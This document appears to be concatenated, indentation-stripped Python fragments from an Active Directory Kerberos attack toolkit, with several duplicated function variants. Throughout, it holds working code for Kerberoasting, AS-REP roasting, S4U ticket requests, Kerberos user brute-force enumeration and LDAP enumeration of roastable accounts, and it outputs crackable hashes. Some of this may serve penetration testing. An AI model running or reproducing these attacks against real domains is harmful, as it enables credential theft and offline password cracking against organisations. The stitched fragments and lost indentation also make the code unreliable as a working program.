async def get_TGS(url, spn, out_file=None, override_etype=None):
try:
logger.debug('[KERBEROS][TGS] started')
if isinstance(override_etype, int):
override_etype = [override_etype]
ku = KerberosClientURL.from_url(url)
cred = ku.get_creds()
target = ku.get_target()
spn = KerberosSPN.from_user_email(spn)
logger.debug('[KERBEROS][TGS] target user: %s' %
spn.get_formatted_pname())
logger.debug('[KERBEROS][TGS] fetching TGT')
kcomm = AIOKerberosClient(cred, target)
await kcomm.get_TGT()
logger.debug('[KERBEROS][TGS] fetching TGS')
tgs, encTGSRepPart, key = await kcomm.get_TGS(
spn, override_etype=override_etype)
kirbi = tgt_to_kirbi(tgs, encTGSRepPart)
if out_file is not None:
with open(out_file, 'wb') as f:
f.write(kirbi.dump())
logger.debug('[KERBEROS][TGS] done!')
return tgs, encTGSRepPart, key, kirbi, None
except Exception as e:
return None, None, None, None, e
async def amain(args):
cu = KerberosClientURL.from_url(args.kerberos_connection_url)
ccred = cu.get_creds()
target = cu.get_target()
service_spn = KerberosSPN.from_target_string(args.spn)
target_user = KerberosSPN.from_user_email(args.targetuser)
if not ccred.ccache:
logger.debug('Getting TGT')
client = AIOKerberosClient(ccred, target)
await client.get_TGT()
logger.debug('Getting ST')
tgs, encTGSRepPart, key = await client.getST(target_user, service_spn)
else:
logger.debug('Getting TGS via TGT from CCACHE')
for tgt, key in ccred.ccache.get_all_tgt():
try:
logger.info('Trying to get SPN with %s' % '!'.join(tgt['cname']['name-string']))
client = AIOKerberosClient.from_tgt(target, tgt, key)
tgs, encTGSRepPart, key = await client.getST(target_user, service_spn)
logger.info('Sucsess!')
except Exception as e:
logger.debug('This ticket is not usable it seems Reason: %s' % e)
continue
else:
break
client.ccache.to_file(args.ccache)
logger.info('Done!')
async def amain(args):
if args.spn.find('@') == -1:
raise Exception('SPN must contain @')
t, domain = args.spn.split('@')
if t.find('/') != -1:
service, hostname = t.split('/')
else:
hostname = t
service = None
spn = KerberosSPN()
spn.username = hostname
spn.service = service
spn.domain = domain
cu = KerberosClientURL.from_url(args.kerberos_connection_url)
ccred = cu.get_creds()
target = cu.get_target()
logging.debug('Getting TGT')
client = AIOKerberosClient(ccred, target)
logging.debug('Getting TGT')
await client.get_TGT()
logging.debug('Getting TGS')
await client.get_TGS(spn)
client.ccache.to_file(args.ccache)
logging.info('Done!')
async def amain(args):
cu = KerberosClientURL.from_url(args.kerberos_connection_url)
ccred = cu.get_creds()
target = cu.get_target()
logging.debug('Getting TGT')
client = AIOKerberosClient(ccred, target)
await client.get_TGT()
client.ccache.to_file(args.ccache)
logging.info('Done!')
async def amain(args):
if args.spn.find('@') == -1:
raise Exception('SPN must contain @')
t, domain = args.spn.split('@')
if t.find('/') != -1:
service, hostname = t.split('/')
else:
hostname = t
service = None
spn = KerberosSPN()
spn.username = hostname
spn.service = service
spn.domain = domain
cu = KerberosClientURL.from_url(args.kerberos_connection_url)
ccred = cu.get_creds()
target = cu.get_target()
logging.debug('Getting TGT')
if not ccred.ccache:
client = AIOKerberosClient(ccred, target)
logging.debug('Getting TGT')
await client.get_TGT()
logging.debug('Getting TGS')
await client.get_TGS(spn)
else:
logging.debug('Getting TGS via TGT from CCACHE')
for tgt, key in ccred.ccache.get_all_tgt():
try:
logging.info('Trying to get SPN with %s' %
'!'.join(tgt['cname']['name-string']))
client = AIOKerberosClient.from_tgt(target, tgt, key)
await client.get_TGS(spn)
logging.info('Sucsess!')
except Exception as e:
logging.debug('This ticket is not usable it seems Reason: %s' %
e)
continue
else:
break
client.ccache.to_file(args.ccache)
logging.info('Done!')
async def s4u(url, spn, targetuser, out_file=None):
try:
logger.debug('[KERBEROS][S4U] Started')
cu = KerberosClientURL.from_url(url)
ccred = cu.get_creds()
target = cu.get_target()
service_spn = KerberosSPN.from_target_string(spn)
target_user = KerberosSPN.from_user_email(targetuser)
if not ccred.ccache:
logger.debug('[KERBEROS][S4U] Getting TGT')
client = AIOKerberosClient(ccred, target)
await client.get_TGT()
logger.debug('[KERBEROS][S4U] Getting ST')
tgs, encTGSRepPart, key = await client.getST(
target_user, service_spn)
else:
logger.debug('[KERBEROS][S4U] Getting TGS via TGT from CCACHE')
for tgt, key in ccred.ccache.get_all_tgt():
try:
logger.debug('[KERBEROS][S4U] Trying to get SPN with %s' %
'!'.join(tgt['cname']['name-string']))
client = AIOKerberosClient.from_tgt(target, tgt, key)
tgs, encTGSRepPart, key = await client.getST(
target_user, service_spn)
logger.debug('[KERBEROS][S4U] Sucsess!')
except Exception as e:
logger.debug(
'[KERBEROS][S4U] This ticket is not usable it seems Reason: %s'
% e)
continue
else:
break
if out_file:
client.ccache.to_file(out_file)
logger.debug('[KERBEROS][S4U] Done!')
return tgs, encTGSRepPart, key, None
except Exception as e:
return None, None, None, e
async def get_TGT(url):
try:
logger.debug('[KERBEROS][TGT] started')
ku = KerberosClientURL.from_url(url)
cred = ku.get_creds()
target = ku.get_target()
logger.debug('[KERBEROS][TGT] cred: %s' % cred)
logger.debug('[KERBEROS][TGT] target: %s' % target)
kcomm = AIOKerberosClient(cred, target)
logger.debug('[KERBEROS][TGT] fetching TGT')
await kcomm.get_TGT()
cred = kcomm.ccache.credentials[0]
kirbi, filename = cred.to_kirbi()
return kirbi, filename, None
except Exception as e:
return None, None, e
async def get_TGT(url, override_etype=None):
try:
logger.debug('[KERBEROS][TGT] started')
if isinstance(override_etype, int):
override_etype = [override_etype]
ku = KerberosClientURL.from_url(url)
cred = ku.get_creds()
target = ku.get_target()
logger.debug('[KERBEROS][TGT] cred: %s' % cred)
logger.debug('[KERBEROS][TGT] target: %s' % target)
kcomm = AIOKerberosClient(cred, target)
logger.debug('[KERBEROS][TGT] fetching TGT')
await kcomm.get_TGT(override_etype=override_etype)
kirbi = tgt_to_kirbi(kcomm.kerberos_TGT, kcomm.kerberos_TGT_encpart)
return kirbi, None
except Exception as e:
return None, e
async def spnroast(url, targets, out_file=None, etype=23):
"""
targets List<KerberosSPN>
"""
try:
logger.debug('[KERBEROS][SPNROAST] Roasting...')
if etype:
if etype == -1:
etypes = [23, 17, 18]
else:
etypes = [etype]
else:
etypes = [23, 17, 18]
logger.debug(
'[KERBEROS][SPNROAST] Using the following encryption type(s): %s' %
(','.join(str(x) for x in etypes)))
ku = KerberosClientURL.from_url(url)
cred = ku.get_creds()
target = ku.get_target()
ar = Kerberoast(target, cred)
hashes = await ar.run(targets, override_etype=etypes)
if out_file:
with open(out_file, 'w', newline='') as f:
for thash in hashes:
f.write(thash + '\r\n')
else:
for thash in hashes:
print(thash)
logger.info('[KERBEROS][SPNROAST] Done!')
return hashes, None
except Exception as e:
return None, e
async def get_TGS(url, spn, out_file=None):
try:
logger.debug('[KERBEROS][TGS] started')
ku = KerberosClientURL.from_url(url)
cred = ku.get_creds()
target = ku.get_target()
spn = KerberosSPN.from_user_email(spn)
logger.debug('[KERBEROS][TGS] target user: %s' %
spn.get_formatted_pname())
logger.debug('[KERBEROS][TGS] fetching TGT')
kcomm = AIOKerberosClient(cred, target)
await kcomm.get_TGT()
logger.debug('[KERBEROS][TGS] fetching TGS')
tgs, encTGSRepPart, key = await kcomm.get_TGS(spn)
if out_file is not None:
kcomm.ccache.to_file(out_file)
logger.debug('[KERBEROS][TGS] done!')
return tgs, encTGSRepPart, key, None
except Exception as e:
return None, None, None, e
async def amain(args):
if args.command == 'tgs':
logging.debug('[TGS] started')
ku = KerberosClientURL.from_url(args.kerberos_connection_url)
cred = ku.get_creds()
target = ku.get_target()
spn = KerberosSPN.from_user_email(args.spn)
logging.debug('[TGS] target user: %s' % spn.get_formatted_pname())
logging.debug('[TGS] fetching TGT')
kcomm = AIOKerberosClient(cred, target)
await kcomm.get_TGT()
logging.debug('[TGS] fetching TGS')
await kcomm.get_TGS(spn)
kcomm.ccache.to_file(args.out_file)
logging.debug('[TGS] done!')
elif args.command == 'tgt':
logging.debug('[TGT] started')
ku = KerberosClientURL.from_url(args.kerberos_connection_url)
cred = ku.get_creds()
target = ku.get_target()
logging.debug('[TGT] cred: %s' % cred)
logging.debug('[TGT] target: %s' % target)
kcomm = AIOKerberosClient(cred, target)
logging.debug('[TGT] fetching TGT')
await kcomm.get_TGT()
kcomm.ccache.to_file(args.out_file)
logging.debug('[TGT] Done! TGT stored in CCACHE file')
elif args.command == 'asreproast':
if not args.targets and not args.user:
raise Exception(
'No targets loaded! Either -u or -t MUST be specified!')
creds = []
targets = get_targets_from_file(args, False)
targets += get_target_from_args(args, False)
if len(targets) == 0:
raise Exception(
'No targets were specified! Either use target file or specify target via cmdline'
)
logging.debug('[ASREPRoast] loaded %d targets' % len(targets))
logging.debug(
'[ASREPRoast] will suppoort the following encryption type: %s' %
(str(args.etype)))
ks = KerberosTarget(args.address)
ar = APREPRoast(ks)
hashes = []
for target in targets:
h = await ar.run(target, override_etype=[args.etype])
hashes.append(h)
if args.out_file:
with open(args.out_file, 'w') as f:
for thash in hashes:
f.write(thash + '\r\n')
else:
for thash in hashes:
print(thash)
logging.info('ASREPRoast complete')
elif args.command == 'spnroast':
if not args.targets and not args.user:
raise Exception(
'No targets loaded! Either -u or -t MUST be specified!')
targets = get_targets_from_file(args)
targets += get_target_from_args(args)
if len(targets) == 0:
raise Exception(
'No targets were specified! Either use target file or specify target via cmdline'
)
logging.debug('Kerberoast loaded %d targets' % len(targets))
if args.etype:
if args.etype == -1:
etypes = [23, 17, 18]
else:
etypes = [args.etype]
else:
etypes = [23, 17, 18]
logging.debug(
'Kerberoast will suppoort the following encryption type(s): %s' %
(','.join(str(x) for x in etypes)))
ku = KerberosClientURL.from_url(args.kerberos_connection_url)
cred = ku.get_creds()
target = ku.get_target()
ar = Kerberoast(target, cred)
hashes = await ar.run(targets, override_etype=etypes)
if args.out_file:
with open(args.out_file, 'w') as f:
for thash in hashes:
f.write(thash + '\r\n')
else:
for thash in hashes:
print(thash)
logging.info('Kerberoast complete')
elif args.command == 'brute':
target = KerberosTarget(args.address)
with open(args.targets, 'r') as f:
for line in f:
line = line.strip()
spn = KerberosSPN()
spn.username = line
spn.domain = args.realm
ke = KerberosUserEnum(target, spn)
result = await ke.run()
if result is True:
if args.out_file:
with open(args.out_file, 'a') as f:
f.write(result + '\r\n')
else:
print('[+] Enumerated user: %s' % str(spn))
logging.info('Kerberos user enumeration complete')
elif args.command == 'spnroast-sspi':
if platform.system() != 'Windows':
print('[-]This command only works on Windows!')
return
try:
from winsspi.sspi import KerberoastSSPI
except ImportError:
raise Exception('winsspi module not installed!')
if not args.targets and not args.user:
raise Exception(
'No targets loaded! Either -u or -t MUST be specified!')
targets = get_targets_from_file(args)
targets += get_target_from_args(args)
if len(targets) == 0:
raise Exception(
'No targets were specified! Either use target file or specify target via cmdline'
)
results = []
errors = []
for spn_name in targets:
ksspi = KerberoastSSPI()
try:
ticket = ksspi.get_ticket_for_spn(
spn_name.get_formatted_pname())
except Exception as e:
errors.append((spn_name, e))
continue
results.append(TGSTicket2hashcat(ticket))
if args.out_file:
with open(args.out_file, 'w') as f:
for thash in results:
f.write(thash + '\r\n')
else:
for thash in results:
print(thash)
for err in errors:
print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1]))
logging.info('SSPI based Kerberoast complete')
elif args.command == 'spnroast-multiplexor':
#hiding the import so it's not necessary to install multiplexor
await spnmultiplexor(args)
elif args.command == 'auto':
if platform.system() != 'Windows':
print('[-]This command only works on Windows!')
return
try:
from winsspi.sspi import KerberoastSSPI
except ImportError:
raise Exception('winsspi module not installed!')
domain = args.dc_ip
url = 'ldap+sspi-ntlm://%s' % domain
msldap_url = MSLDAPURLDecoder(url)
client = msldap_url.get_client()
_, err = await client.connect()
if err is not None:
raise err
domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace(
',', '.')
spn_users = []
asrep_users = []
results = []
errors = []
async for user, err in client.get_all_knoreq_users():
if err is not None:
raise err
cred = KerberosCredential()
cred.username = user.sAMAccountName
cred.domain = domain
asrep_users.append(cred)
async for user, err in client.get_all_service_users():
if err is not None:
raise err
cred = KerberosCredential()
cred.username = user.sAMAccountName
cred.domain = domain
spn_users.append(cred)
for cred in asrep_users:
ks = KerberosTarget(domain)
ar = APREPRoast(ks)
res = await ar.run(cred, override_etype=[args.etype])
results.append(res)
for cred in spn_users:
spn_name = '%s@%s' % (cred.username, cred.domain)
if spn_name[:6] == 'krbtgt':
continue
ksspi = KerberoastSSPI()
try:
ticket = ksspi.get_ticket_for_spn(spn_name)
except Exception as e:
errors.append((spn_name, e))
continue
results.append(TGSTicket2hashcat(ticket))
if args.out_file:
with open(args.out_file, 'w') as f:
for thash in results:
f.write(thash + '\r\n')
else:
for thash in results:
print(thash)
for err in errors:
print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1]))
elif args.command == 'ldap':
ldap_url = MSLDAPURLDecoder(args.ldap_url)
client = ldap_url.get_client()
_, err = await client.connect()
if err is not None:
raise err
domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace(
',', '.')
if args.out_file:
basefolder = ntpath.dirname(args.out_file)
basefile = ntpath.basename(args.out_file)
if args.type in ['spn', 'all']:
logging.debug('Enumerating SPN user accounts...')
cnt = 0
if args.out_file:
with open(os.path.join(basefolder,
basefile + '_spn_users.txt'),
'w',
newline='') as f:
async for user in client.get_all_service_users():
cnt += 1
f.write('%s@%s\r\n' % (user.sAMAccountName, domain))
else:
print('[+] SPN users')
async for user, err in client.get_all_service_users():
if err is not None:
raise err
cnt += 1
print('%s@%s' % (user.sAMAccountName, domain))
logging.debug('Enumerated %d SPN user accounts' % cnt)
if args.type in ['asrep', 'all']:
logging.debug('Enumerating ASREP user accounts...')
ctr = 0
if args.out_file:
with open(os.path.join(basefolder,
basefile + '_asrep_users.txt'),
'w',
newline='') as f:
async for user, err in client.get_all_knoreq_users():
if err is not None:
raise err
ctr += 1
f.write('%s@%s\r\n' % (user.sAMAccountName, domain))
else:
print('[+] ASREP users')
async for user, err in client.get_all_knoreq_users():
if err is not None:
raise err
ctr += 1
print('%s@%s' % (user.sAMAccountName, domain))
logging.debug('Enumerated %d ASREP user accounts' % ctr)
if args.type in ['full', 'all']:
logging.debug(
'Enumerating ALL user accounts, this will take some time depending on the size of the domain'
)
ctr = 0
attrs = args.attrs if args.attrs is not None else MSADUser_TSV_ATTRS
if args.out_file:
with open(os.path.join(basefolder,
basefile + '_ldap_users.tsv'),
'w',
newline='',
encoding='utf8') as f:
writer = csv.writer(f, delimiter='\t')
writer.writerow(attrs)
async for user, err in client.get_all_users():
if err is not None:
raise err
ctr += 1
writer.writerow(user.get_row(attrs))
else:
logging.debug('Are you sure about this?')
print('[+] Full user dump')
print('\t'.join(attrs))
async for user, err in client.get_all_users():
if err is not None:
raise err
ctr += 1
print('\t'.join([str(x) for x in user.get_row(attrs)]))
logging.debug('Enumerated %d user accounts' % ctr)
if args.type in ['custom']:
if not args.filter:
raise Exception(
'Custom LDAP search requires the search filter to be specified!'
)
if not args.attrs:
raise Exception(
'Custom LDAP search requires the attributes to be specified!'
)
logging.debug(
'Perforing search on the AD with the following filter: %s' %
args.filter)
logging.debug('Search will contain the following attributes: %s' %
','.join(args.attrs))
ctr = 0
if args.out_file:
with open(os.path.join(basefolder,
basefile + '_ldap_custom.tsv'),
'w',
newline='') as f:
writer = csv.writer(f, delimiter='\t')
writer.writerow(args.attrs)
async for obj, err in client.pagedsearch(
args.filter, args.attrs):
if err is not None:
raise err
ctr += 1
writer.writerow([
str(obj['attributes'].get(x, 'N/A'))
for x in args.attrs
])
else:
async for obj, err in client.pagedsearch(
args.filter, args.attrs):
if err is not None:
raise err
ctr += 1
print('\t'.join([
str(obj['attributes'].get(x, 'N/A'))
for x in args.attrs
]))
async def run(self):
try:
if self.progress_queue is not None:
msg = GathererProgress()
msg.type = GathererProgressType.KERBEROAST
msg.msg_type = MSGTYPE.STARTED
msg.adid = self.ad_id
msg.domain_name = self.domain_name
await self.progress_queue.put(msg)
self.session = get_session(self.db_conn)
if self.domain_name is None:
info = self.session.query(ADInfo).get(self.ad_id)
self.domain_name = str(info.distinguishedName).replace(',','.').replace('DC=','')
_, err = await self.get_targets()
if err is not None:
raise err
if len(self.targets_asreq) == 0 and len(self.targets_spn) == 0:
logger.debug('No targets found!')
return True, None
if self.kerb_url == 'auto':
if platform.system() == 'Windows':
_, err = await self.asreproast()
if err is not None:
raise err
_, err = await self.kerberoast_sspi()
if err is not None:
raise err
return True, None
else:
raise Exception('No kerberos URL was provided and not running on Windows!')
elif self.kerb_url.startswith('kerberos'):
self.kerb_mgr = KerberosClientURL.from_url(self.kerb_url)
_, err = await self.asreproast()
if err is not None:
raise err
_, err = await self.kerberoast()
if err is not None:
raise err
elif self.kerb_url.startswith('ws'):
if self.kerb_url.find('type=sspiproxy'):
await self.kerberoast_sspiproxy()
else:
await self.kerberoast_multiplexor()
return True, None
except Exception as e:
return None, e
finally:
if self.progress_queue is not None:
msg = GathererProgress()
msg.type = GathererProgressType.KERBEROAST
msg.msg_type = MSGTYPE.FINISHED
msg.adid = self.ad_id
msg.domain_name = self.domain_name
await self.progress_queue.put(msg)